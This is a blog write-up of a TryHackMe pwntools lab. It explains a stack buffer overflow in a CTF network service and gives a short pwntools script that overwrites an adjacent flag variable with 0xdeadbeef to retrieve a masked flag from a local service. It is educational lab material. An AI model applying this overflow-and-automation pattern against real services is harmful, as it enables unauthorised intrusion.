Sitemap
Abiaccess

Abiaccess

Intro To Pwntools- TryHackMe

4 min readAug 1, 2026

--

πŸš€ Phase 3 β€” Networking with Pwntools

Press enter or click to view image in full size

Room: Intro To Pwntools (Networking)

β€œTyping payloads manually is cool… until you have to do it 500 times.”

This phase teaches one of the biggest reasons why Pwntools exists:

Automating exploitation.

Instead of copying payloads into a terminal every single time, we let Python do everything for us.

🎯 Goal

This challenge was no longer about controlling the EIP.

We already learned that.

Now the goal was:

  • Connect to a vulnerable service
  • Receive data automatically
  • Send our payload automatically
  • Receive the flag automatically

Basically…

Python
↓
Connect
↓
Receive prompt
↓
Send exploit
↓
Receive flag

Exactly how real exploit scripts work.

πŸ“‚ Challenge Files

ls

Output

note_to_buzz.txt
serve_test
test_networking.c

πŸ“– Reading the Note

cat note_to_buzz.txt

Output

Dear buzz,
I'm running a service on port 1337,
which has an overflow vulnerability.
I've left you a version that will run
on port 1336 so that you can develop
your exploit.

Immediately we know:

PortPurpose1336Local testing server1337Actual vulnerable service

This is actually a super common setup in CTFs.

πŸ“– Understanding the C Code

The interesting part wasn’t networking.

It was this struct.

struct {
char buff[32];
volatile int printflag;
} targets;

Memory looks like this:

+---------------------------+
| buff[32] |
+---------------------------+
| printflag (4 bytes) |
+---------------------------+

The vulnerable line:

read(sockfd, targets.buff, 100);

Wait…

Buffer size = 32 bytes
Read = 100 bytes

πŸ’€

That’s a 68-byte overflow.

Then comes the magic

if(targets.printflag == 0xdeadbeef)

If we overwrite that integer…

printflag = 0xdeadbeef

The server literally says:

"Thanks, here's your flag."

🧠 Why use volatile?

volatile int printflag;

volatile tells the compiler:

β€œDon’t optimize this variable.”

Without it, the compiler might keep the value in a register instead of memory, making the overflow unreliable.

🧩 Exploitation Plan

We don’t need shellcode.

We don’t need to control EIP.

We only need to overwrite printflag.

Memory:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
32 bytes
then0xdeadbeef

Payload becomes:

"A"*32 + p32(0xdeadbeef)

Simple.

Effective.

🐍 Pwntools Time

Instead of

nc
type payload
copy
paste
repeat

we automate everything.

Step 1 β€” Connect

from pwn import *
conn = remote("127.0.0.1",1336)

This opens a TCP connection.

Equivalent to:

nc 127.0.0.1 1336

except Python controls it.

Step 2 β€” Receive the prompt

print(conn.recvn(18))

Server sends:

Give me deadbeef:

Output

b'Give me deadbeef: '

Notice the

b''

That means Python bytes, not a string.

Very important in binary exploitation.

Step 3 β€” Build payload

payload = b"A"*32
payload += p32(0xdeadbeef)

Memory becomes

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EF BE AD DE

Remember:

Intel uses

Little Endian

Get Abiaccess’s stories inΒ yourΒ inbox

Join Medium for free to get updates fromΒ thisΒ writer.

So

0xdeadbeef

becomes

ef be ad de

Step 4 β€” Send it

conn.send(payload)

Done.

Step 5 β€” Receive Flag

print(conn.recvn(34))

Output

b'Thank you!\nflag{***************}'

Flag recovered πŸŽ‰

(Partial shown intentionally.)

πŸ’» Important Commands Used

Listing files

ls -l

Output

note_to_buzz.txt
serve_test
test_networking.c

Reading note

cat note_to_buzz.txt

Output

I'm running a service on port 1337...
I've left one on port 1336.

Viewing source code

cat test_networking.c

Important discovery

char buff[32];

and

read(...,100);

Huge overflow.

Checking protections

checksec serve_test

Output

RELRO: Full
Canary: Found
NX: Enabled
PIE: Enabled

Unlike the previous challenge,

this binary had proper protections enabled.

But…

those protections don’t matter because

we never overwrite EIP.

We only overwrite a nearby integer.

Running exploit

python3 pwn_network.py

Output

[+] Opening connection to 127.0.0.1 on port 1336
b'Give me deadbeef: 'b'Thank you!\nflag{***************}'

Everything happened automatically.

No typing.

No manual interaction.

Exactly what exploit developers want.

Running local server

./serve_test

Output

Socket successfully created..
Socket successfully binded..Server listening..server accept the client...From client:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

This proves

our exploit reached the server successfully.

🧠 Key Pwntools Functions Learned

FunctionPurposeremote()Connect to a TCP servicerecvn()Receive an exact number of bytessend()Send raw payload bytesp32()Pack integers into 32-bit little-endian format

These four functions alone are enough to solve a surprising number of beginner pwn challenges.

🌍 Real-World Connection

This exact workflow is used in:

  • Internal penetration tests
  • Exploit development
  • Malware research
  • Vulnerability validation
  • Capture The Flag competitions
  • Security research labs

A real exploit usually follows the same pattern:

Connect
↓
Fingerprint service↓Trigger vulnerability↓Gain execution↓Retrieve shell / data

Pwntools automates all of it.

🎯 What I Learned

  • How to communicate with remote services using Pwntools.
  • The difference between manual exploitation and automated exploitation.
  • How to overwrite adjacent variables instead of hijacking control flow.
  • Why p32() is essential when crafting payloads.
  • How binary data is handled using Python bytes (b"").
  • That many vulnerabilities don’t require shellcode β€” sometimes changing a single variable is enough.

πŸ“ Phase 3 Summary

βœ” Learned how to automate exploitation with Pwntools.

βœ” Connected to a vulnerable TCP service using remote().

βœ” Received and sent raw binary data with recvn() and send().

βœ” Overwrote printflag instead of the return address.

βœ” Used p32(0xdeadbeef) to satisfy the program's condition.

βœ” Retrieved the flag (flag{***************}) automatically.

--

--